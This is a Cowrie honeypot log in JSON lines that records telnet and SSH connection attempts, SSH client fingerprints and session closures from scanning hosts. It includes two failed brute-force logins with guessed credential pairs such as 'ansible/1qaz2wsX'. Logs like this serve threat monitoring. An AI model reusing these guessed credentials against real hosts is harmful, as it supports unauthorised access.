{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":58580,"dst_ip":"10.17.0.5","dst_port":23,"session":"66110856ba1f","protocol":"telnet","message":"New connection: 185.111.235.80:58580 (10.17.0.5:23) [session: 66110856ba1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:57.968851Z"}
{"eventid":"cowrie.session.closed","duration":30.84016180038452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:58.032249Z","src_ip":"117.120.7.112","session":"bc8a49c9ca1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":45884,"dst_ip":"10.17.0.5","dst_port":23,"session":"8016392703a2","protocol":"telnet","message":"New connection: 185.111.235.80:45884 (10.17.0.5:23) [session: 8016392703a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:58.237107Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":41054,"dst_ip":"10.17.0.5","dst_port":23,"session":"180b02624abb","protocol":"telnet","message":"New connection: 185.111.235.80:41054 (10.17.0.5:23) [session: 180b02624abb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:58.241404Z"}
{"eventid":"cowrie.session.closed","duration":31.48645853996277,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:58.329987Z","src_ip":"185.111.235.80","session":"cf9522dc1f69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":47136,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6ddf774b8da","protocol":"telnet","message":"New connection: 117.120.7.112:47136 (159.203.135.109:23) [session: a6ddf774b8da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:58.340308Z"}
{"eventid":"cowrie.session.closed","duration":31.394310474395752,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:58.471758Z","src_ip":"185.111.235.80","session":"077f2b55dbad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.669697999954224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:58.701482Z","src_ip":"185.111.235.80","session":"99db594bb116","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":48088,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7890b68f5fa","protocol":"telnet","message":"New connection: 185.111.235.80:48088 (10.17.0.5:23) [session: e7890b68f5fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:58.724412Z"}
{"eventid":"cowrie.session.closed","duration":31.859349250793457,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:58.784659Z","src_ip":"117.120.7.112","session":"d1086d43a6ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.413353204727173,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:58.838514Z","src_ip":"185.111.235.80","session":"e77b5dce2fd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.25214457511902,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:58.883004Z","src_ip":"185.111.235.80","session":"7cfb297eca18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91264581680298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:58.915474Z","src_ip":"185.111.235.80","session":"9ea0d9a984d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.944316148757935,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:58.990784Z","src_ip":"185.111.235.80","session":"c4e03ba076b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":49322,"dst_ip":"10.17.0.5","dst_port":23,"session":"bac6b19c25fa","protocol":"telnet","message":"New connection: 185.111.235.80:49322 (10.17.0.5:23) [session: bac6b19c25fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:59.055000Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":44880,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b8d1c69ec9b","protocol":"telnet","message":"New connection: 185.111.235.80:44880 (10.17.0.5:23) [session: 3b8d1c69ec9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:59.080891Z"}
{"eventid":"cowrie.session.closed","duration":30.507758855819702,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:59.242398Z","src_ip":"185.111.235.80","session":"ad8fedd12c28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":51986,"dst_ip":"10.17.0.5","dst_port":23,"session":"999bff957412","protocol":"telnet","message":"New connection: 185.111.235.80:51986 (10.17.0.5:23) [session: 999bff957412]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:59.562471Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":52690,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a4cd8faf726","protocol":"telnet","message":"New connection: 185.111.235.80:52690 (10.17.0.5:23) [session: 0a4cd8faf726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:59.772350Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":49006,"dst_ip":"10.17.0.5","dst_port":23,"session":"e301164169bc","protocol":"telnet","message":"New connection: 185.111.235.80:49006 (10.17.0.5:23) [session: e301164169bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:59.998035Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":53716,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a6536e57848","protocol":"telnet","message":"New connection: 185.111.235.80:53716 (10.17.0.5:23) [session: 8a6536e57848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:00.041479Z"}
{"eventid":"cowrie.session.closed","duration":31.317929983139038,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:00.155453Z","src_ip":"117.120.7.112","session":"32623fe2e0a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":54496,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7801f60316d","protocol":"telnet","message":"New connection: 185.111.235.80:54496 (10.17.0.5:23) [session: e7801f60316d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:00.171116Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":54784,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2845186fd01","protocol":"telnet","message":"New connection: 185.111.235.80:54784 (10.17.0.5:23) [session: a2845186fd01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:00.214364Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":50438,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3165505c2e5","protocol":"telnet","message":"New connection: 185.111.235.80:50438 (10.17.0.5:23) [session: a3165505c2e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:00.283667Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":49370,"dst_ip":"10.17.0.5","dst_port":23,"session":"c38af0c78e42","protocol":"telnet","message":"New connection: 185.111.235.80:49370 (10.17.0.5:23) [session: c38af0c78e42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:00.573191Z"}
{"eventid":"cowrie.session.closed","duration":0.015898704528808594,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:00.588861Z","src_ip":"185.111.235.80","session":"c38af0c78e42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.820765733718872,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:00.900031Z","src_ip":"185.111.235.80","session":"46d87988d309","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.27450203895569,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:00.948417Z","src_ip":"185.111.235.80","session":"280ac4aa9c53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.35021162033081,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:00.954190Z","src_ip":"185.111.235.80","session":"7a8481006045","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10297989845276,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:01.051535Z","src_ip":"185.111.235.80","session":"046d00fa8213","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":50574,"dst_ip":"159.203.135.109","dst_port":23,"session":"81282ac5ae29","protocol":"telnet","message":"New connection: 117.120.7.112:50574 (159.203.135.109:23) [session: 81282ac5ae29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:01.210125Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":52568,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f0ed0d48229","protocol":"telnet","message":"New connection: 117.120.7.112:52568 (159.203.135.109:23) [session: 1f0ed0d48229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:01.411377Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":60364,"dst_ip":"10.17.0.5","dst_port":23,"session":"01769769c2cc","protocol":"telnet","message":"New connection: 185.111.235.80:60364 (10.17.0.5:23) [session: 01769769c2cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:01.443918Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":56068,"dst_ip":"10.17.0.5","dst_port":23,"session":"e405d3609d6c","protocol":"telnet","message":"New connection: 185.111.235.80:56068 (10.17.0.5:23) [session: e405d3609d6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:01.476307Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":57774,"dst_ip":"10.17.0.5","dst_port":23,"session":"33f27f6f1b02","protocol":"telnet","message":"New connection: 185.111.235.80:57774 (10.17.0.5:23) [session: 33f27f6f1b02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:01.935180Z"}
{"eventid":"cowrie.session.closed","duration":30.653385877609253,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:02.077766Z","src_ip":"117.120.7.112","session":"e8d0283c75be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":34582,"dst_ip":"10.17.0.5","dst_port":23,"session":"554288ffd7ac","protocol":"telnet","message":"New connection: 185.111.235.80:34582 (10.17.0.5:23) [session: 554288ffd7ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:02.101356Z"}
{"eventid":"cowrie.session.closed","duration":30.868749856948853,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:02.146245Z","src_ip":"117.120.7.112","session":"dee5f5100245","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":50560,"dst_ip":"10.17.0.5","dst_port":23,"session":"817ffdace015","protocol":"telnet","message":"New connection: 185.111.235.80:50560 (10.17.0.5:23) [session: 817ffdace015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:02.313825Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":35886,"dst_ip":"10.17.0.5","dst_port":23,"session":"9149ecf4d5ba","protocol":"telnet","message":"New connection: 185.111.235.80:35886 (10.17.0.5:23) [session: 9149ecf4d5ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:02.321967Z"}
{"eventid":"cowrie.session.closed","duration":31.049676418304443,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:02.332784Z","src_ip":"117.120.7.112","session":"3a4bdfc60f0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.03088426589966,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:02.638759Z","src_ip":"185.111.235.80","session":"51eb06545a80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.817265510559082,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:02.869405Z","src_ip":"185.111.235.80","session":"449e4d2f6f7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37322,"dst_ip":"159.203.135.109","dst_port":22,"session":"8532773a012f","protocol":"ssh","message":"New connection: 159.203.92.129:37322 (159.203.135.109:22) [session: 8532773a012f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:02.891230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:02.896090Z","src_ip":"159.203.92.129","session":"8532773a012f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.53778600692749,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:02.899989Z","src_ip":"185.111.235.80","session":"ab5acc1f2eba","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:02.905981Z","src_ip":"159.203.92.129","session":"8532773a012f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.704108476638794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:02.915895Z","src_ip":"185.111.235.80","session":"21a8cc795afe","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"1qaz2wsX","message":"login attempt [ansible/1qaz2wsX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:02.926539Z","src_ip":"159.203.92.129","session":"8532773a012f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.6887845993042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:02.970165Z","src_ip":"185.111.235.80","session":"98719b742f31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.652999877929688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:02.976780Z","src_ip":"185.111.235.80","session":"5de8ca68dbac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.858195066452026,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:02.996442Z","src_ip":"185.111.235.80","session":"4a944e090b68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.863293647766113,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:03.069001Z","src_ip":"185.111.235.80","session":"cebf55943e37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00645399093628,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:03.122858Z","src_ip":"185.111.235.80","session":"5102690a4c8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.242852687835693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:03.137055Z","src_ip":"185.111.235.80","session":"10544694fc5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":39554,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7b0cca39162","protocol":"telnet","message":"New connection: 185.111.235.80:39554 (10.17.0.5:23) [session: b7b0cca39162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:03.188591Z"}
{"eventid":"cowrie.session.closed","duration":31.07407236099243,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:03.241338Z","src_ip":"117.120.7.112","session":"2fd0108c45d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":54658,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cd9fee87437","protocol":"ssh","message":"New connection: 176.65.139.103:54658 (10.17.0.5:22) [session: 1cd9fee87437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:03.481903Z"}
{"eventid":"cowrie.session.closed","duration":31.3128719329834,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:03.505760Z","src_ip":"185.111.235.80","session":"5056ac51d5bb","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:03.512558Z","src_ip":"176.65.139.103","session":"1cd9fee87437","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:03.567584Z","src_ip":"176.65.139.103","session":"1cd9fee87437","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.459277629852295,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:03.885764Z","src_ip":"185.111.235.80","session":"a128acf0095d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ecs-user","password":"ecs-user","message":"login attempt [ecs-user/ecs-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:03.893389Z","src_ip":"176.65.139.103","session":"1cd9fee87437","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:03.934725Z","src_ip":"159.203.92.129","session":"8532773a012f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":39048,"dst_ip":"10.17.0.5","dst_port":23,"session":"833d1a0097b5","protocol":"telnet","message":"New connection: 185.111.235.80:39048 (10.17.0.5:23) [session: 833d1a0097b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:04.109286Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":39618,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ddfb9395e6f","protocol":"telnet","message":"New connection: 185.111.235.80:39618 (10.17.0.5:23) [session: 2ddfb9395e6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:04.201178Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":44737,"dst_ip":"10.17.0.5","dst_port":23,"session":"912d6a3da66b","protocol":"telnet","message":"New connection: 185.111.235.80:44737 (10.17.0.5:23) [session: 912d6a3da66b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:04.284958Z"}
{"eventid":"cowrie.session.closed","duration":30.602803707122803,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:04.443148Z","src_ip":"108.61.242.114","session":"13c623153dfc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":56422,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b645fe2cd60","protocol":"telnet","message":"New connection: 117.120.7.112:56422 (159.203.135.109:23) [session: 6b645fe2cd60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:04.479130Z"}
{"eventid":"cowrie.session.closed","duration":31.52230215072632,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:04.703177Z","src_ip":"185.111.235.80","session":"e82211d169ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.381321668624878,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:04.833034Z","src_ip":"185.111.235.80","session":"0872dce01fe7","protocol":"telnet"}
